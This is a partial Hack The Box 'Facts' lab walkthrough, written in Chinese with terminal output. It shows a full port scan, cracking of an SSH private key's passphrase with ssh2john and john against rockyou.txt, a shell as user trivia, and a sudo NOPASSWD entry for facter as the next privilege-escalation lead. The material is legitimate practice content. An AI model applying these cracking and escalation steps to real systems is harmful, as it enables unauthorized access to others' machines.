┌──(kali👻Thr2on1)-[~/Websec/HTB/Facts] └─$ sudo nmap -p- --min-rate 10000 10.129.35.87 -oA nmapscans/ports Nmap scan report for facts.htb (10.129.35.87) Host is up (0.16s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 54321/tcp open unknown
┌──(kali👻Thr2on1)-[~/Websec/HTB/Facts/CVE-2024-46987] └─$ ssh trivia@10.129.3.9 -i id_ed25519 Enter passphrase for key 'id_ed25519':
这里发现私钥被加密了,使用john爆破密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(kali👻Thr2on1)-[~/Websec/HTB/Facts/CVE-2024-46987] └─$ ssh2john id_ed25519 > ssh_hash ┌──(kali👻Thr2on1)-[~/Websec/HTB/Facts/CVE-2024-46987] └─$ john ssh_hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 24 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status dragonballz (id_ed25519) 1g 0:00:00:52 DONE (2026-02-14 00:08) 0.01920g/s 61.44p/s 61.44c/s 61.44C/s billy1..imissu Use the "--show" option to display all of the cracked passwords reliably Session completed.
然后再次尝试登录并输入密钥
1 2
trivia@facts:~$ id uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
ROOT
查看可能的提权路径
1 2 3 4 5 6 7
trivia@facts:~$ sudo -l Matching Defaults entries for trivia on facts: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter